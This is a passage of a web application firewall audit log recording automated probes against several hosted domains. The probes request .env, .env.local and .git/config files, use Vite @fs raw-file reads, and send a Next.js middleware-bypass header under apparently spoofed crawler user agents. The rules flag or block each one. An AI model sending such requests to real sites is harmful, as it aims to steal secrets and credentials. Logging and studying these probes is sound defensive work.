Content-Type: application/x-www-form-urlencoded

--fe309318-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--fe309318-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/011_i360_8_spam.conf"] [line "102"] [id "77141095"] [msg "IM360 WAF: Block spam in PrestaShop||T:APACHE||MVN:TX:rbl_ip||MV:10-11.212.30.36.84||"] [severity "CRITICAL"] [tag "other_apps"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Stopwatch: 1789283466612171 72189 (- - -)
Stopwatch2: 1789283466612171 72189; combined=70353, p1=550, p2=69551, p3=0, p4=0, p5=252, sr=195, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--fe309318-Z--

--3753ce6f-A--
[13/Sep/2026:10:17:51.297186 +0300] aqZOH2M7dE9KgIIOpQhu7QAAAMk 162.243.61.206 41792 127.0.0.1 7081
--3753ce6f-B--
GET /.env HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 162.243.61.206
X-Accel-Internal: /internal-nginx-static-location
sec-fetch-dest: document
user-agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/26.0 Safari/605.1.15
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
sec-fetch-site: none
sec-fetch-mode: navigate
Accept-Language: en-US,en;q=0.9
priority: u=0, i
Accept-Encoding: gzip, deflate, br

--3753ce6f-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--3753ce6f-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/.env"] [unique_id "aqZOH2M7dE9KgIIOpQhu7QAAAMk"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789283871215313 81947 (- - -)
Stopwatch2: 1789283871215313 81947; combined=4646, p1=233, p2=4331, p3=0, p4=0, p5=81, sr=88, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--3753ce6f-Z--

--babe132a-A--
[13/Sep/2026:10:21:38.011873 +0300] aqZPAUwu1RSkptiiNIX10QAAAIg 154.54.100.176 55086 127.0.0.1 7081
--babe132a-B--
GET /.git/config HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 154.54.100.176
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPad; CPU OS 12_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/76.0.3809.81 Mobile/15E148 Safari/605.1
Accept-Charset: utf-8
Accept-Encoding: gzip

--babe132a-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--babe132a-E--

--babe132a-H--
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "breveleyendatequila.com"] [uri "/.git/config"] [unique_id "aqZPAUwu1RSkptiiNIX10QAAAIg"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/.git/config"] [unique_id "aqZPAUwu1RSkptiiNIX10QAAAIg"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "breveleyendatequila.com"] [uri "/.git/config"] [unique_id "aqZPAUwu1RSkptiiNIX10QAAAIg"]
Stopwatch: 1789284097973718 38216 (- - -)
Stopwatch2: 1789284097973718 38216; combined=35482, p1=303, p2=35056, p3=63, p4=7, p5=52, sr=120, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--babe132a-Z--

--8737c110-A--
[13/Sep/2026:10:42:56.113507 +0300] aqZT-2M7dE9KgIIOpQhv8QAAAMk 162.243.61.206 55292 127.0.0.1 7081
--8737c110-B--
GET /.env HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 162.243.61.206
X-Accel-Internal: /internal-nginx-static-location
sec-fetch-dest: document
user-agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.4 Safari/605.1.15
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
sec-fetch-site: none
sec-fetch-mode: navigate
Accept-Language: en-US,en;q=0.9
priority: u=0, i
Accept-Encoding: gzip, deflate, br

--8737c110-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--8737c110-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "antarktysvodka.com"] [uri "/.env"] [unique_id "aqZT-2M7dE9KgIIOpQhv8QAAAMk"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789285375998794 114772 (- - -)
Stopwatch2: 1789285375998794 114772; combined=6553, p1=532, p2=5947, p3=0, p4=0, p5=73, sr=159, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--8737c110-Z--

--2da5f236-A--
[13/Sep/2026:11:02:06.265898 +0300] aqZYfWM7dE9KgIIOpQhwwQAAANI 216.81.200.63 44920 127.0.0.1 7081
--2da5f236-B--
GET /.git/config HTTP/1.1
Host: fmsa.green
X-Real-IP: 216.81.200.63
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 9; GM1917) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.111 Mobile Safari/537.36
Accept-Charset: utf-8
Accept-Encoding: gzip

--2da5f236-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
X-DEBUGKIT-ID: 66d94872-0c59-40dd-9b1e-195db9db1a91
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--2da5f236-H--
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "fmsa.green"] [uri "/.git/config"] [unique_id "aqZYfWM7dE9KgIIOpQhwwQAAANI"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "fmsa.green"] [uri "/.git/config"] [unique_id "aqZYfWM7dE9KgIIOpQhwwQAAANI"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "fmsa.green"] [uri "/.git/config"] [unique_id "aqZYfWM7dE9KgIIOpQhwwQAAANI"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/fmsa.green/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789286525891705 374244 (- - -)
Stopwatch2: 1789286525891705 374244; combined=40279, p1=329, p2=39882, p3=0, p4=0, p5=68, sr=125, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--2da5f236-Z--

--b6d02b40-A--
[13/Sep/2026:11:13:46.546444 +0300] aqZbOjTJ6xTvcJoem7f5tgAAAEM 34.21.80.87 36772 127.0.0.1 7081
--b6d02b40-B--
GET /@fs/.env?url&raw?? HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.21.80.87
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; ChatGLM-Spider/1.0; +https://zhipuai.cn/)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--b6d02b40-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--b6d02b40-E--

--b6d02b40-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:url&raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:url&raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/@fs/.env"] [unique_id "aqZbOjTJ6xTvcJoem7f5tgAAAEM"]
Stopwatch: 1789287226539286 7265 (- - -)
Stopwatch2: 1789287226539286 7265; combined=4550, p1=322, p2=4038, p3=122, p4=9, p5=58, sr=154, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--b6d02b40-Z--

--5fd0de47-A--
[13/Sep/2026:11:13:46.782380 +0300] aqZbOmM7dE9KgIIOpQhxGgAAANU 34.21.80.87 36794 127.0.0.1 7081
--5fd0de47-B--
GET /@fs/.env?raw&url?? HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.21.80.87
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; OAI-SearchBot/1.0; +https://openai.com/searchbot)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--5fd0de47-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--5fd0de47-E--

--5fd0de47-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:raw&url??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:raw&url??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/@fs/.env"] [unique_id "aqZbOmM7dE9KgIIOpQhxGgAAANU"]
Stopwatch: 1789287226776546 5906 (- - -)
Stopwatch2: 1789287226776546 5906; combined=4298, p1=292, p2=3861, p3=89, p4=10, p5=46, sr=129, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--5fd0de47-Z--

--93602c31-A--
[13/Sep/2026:11:13:46.842189 +0300] aqZbOkwu1RSkptiiNIX2mAAAAIU 34.21.80.87 36800 127.0.0.1 7081
--93602c31-B--
GET /@fs/.env?import&?raw?? HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.21.80.87
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Bravebot/1.0; +https://brave.com/search/)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--93602c31-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--93602c31-E--

--93602c31-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:import&?raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:import&?raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/@fs/.env"] [unique_id "aqZbOkwu1RSkptiiNIX2mAAAAIU"]
Stopwatch: 1789287226811966 30303 (- - -)
Stopwatch2: 1789287226811966 30303; combined=24828, p1=1169, p2=23511, p3=91, p4=10, p5=47, sr=151, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--93602c31-Z--

--0da40216-A--
[13/Sep/2026:11:13:49.946231 +0300] aqZbPWM7dE9KgIIOpQhxJwAAANc 34.21.80.87 37006 127.0.0.1 7081
--0da40216-B--
GET /.env?import&url&inline HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.21.80.87
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--0da40216-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--0da40216-E--

--0da40216-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:import&url&inline"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:import&url&inline"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/.env"] [unique_id "aqZbPWM7dE9KgIIOpQhxJwAAANc"]
Stopwatch: 1789287229939969 6327 (- - -)
Stopwatch2: 1789287229939969 6327; combined=4898, p1=266, p2=4486, p3=86, p4=10, p5=49, sr=116, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--0da40216-Z--

--75e0b477-A--
[13/Sep/2026:11:13:50.062565 +0300] aqZbPkwu1RSkptiiNIX2mgAAAIM 34.21.80.87 37012 127.0.0.1 7081
--75e0b477-B--
GET /.env?import&raw HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.21.80.87
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; PanguBot/1.0; +https://www.huaweicloud.com/)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--75e0b477-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--75e0b477-E--

--75e0b477-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:import&raw"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:import&raw"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/.env"] [unique_id "aqZbPkwu1RSkptiiNIX2mgAAAIM"]
Stopwatch: 1789287230056138 6527 (- - -)
Stopwatch2: 1789287230056138 6527; combined=5127, p1=260, p2=4759, p3=63, p4=8, p5=37, sr=110, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--75e0b477-Z--

--64d4c16c-A--
[13/Sep/2026:11:13:50.141496 +0300] aqZbPmM7dE9KgIIOpQhxKAAAAMw 34.21.80.87 37016 127.0.0.1 7081
--64d4c16c-B--
GET /.env?raw HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.21.80.87
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--64d4c16c-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--64d4c16c-E--

--64d4c16c-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:raw"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:raw"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/.env"] [unique_id "aqZbPmM7dE9KgIIOpQhxKAAAAMw"]
Stopwatch: 1789287230137176 4371 (- - -)
Stopwatch2: 1789287230137176 4371; combined=3146, p1=223, p2=2805, p3=72, p4=9, p5=37, sr=97, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--64d4c16c-Z--

--392ee870-A--
[13/Sep/2026:11:13:50.270373 +0300] aqZbPisVWymXUono-eRUNwAAAAc 34.21.80.87 37030 127.0.0.1 7081
--392ee870-B--
GET /.env.local?raw HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.21.80.87
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; OAI-SearchBot/1.0; +https://openai.com/searchbot)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--392ee870-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--392ee870-E--

--392ee870-H--
Message: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.env.local||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.env.local||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.env.local||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "breveleyendatequila.com"] [uri "/.env.local"] [unique_id "aqZbPisVWymXUono-eRUNwAAAAc"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.env.local||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/.env.local"] [unique_id "aqZbPisVWymXUono-eRUNwAAAAc"]
Stopwatch: 1789287230234957 35470 (- - -)
Stopwatch2: 1789287230234957 35470; combined=33950, p1=261, p2=33513, p3=120, p4=8, p5=48, sr=114, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--392ee870-Z--

--e3ca147d-A--
[13/Sep/2026:11:13:50.331371 +0300] aqZbPjTJ6xTvcJoem7f5uwAAAEg 34.21.80.87 37040 127.0.0.1 7081
--e3ca147d-B--
GET /.env.local?import&raw HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.21.80.87
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; PanguBot/1.0; +https://www.huaweicloud.com/)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--e3ca147d-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--e3ca147d-E--

--e3ca147d-H--
Message: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.env.local||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.env.local||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
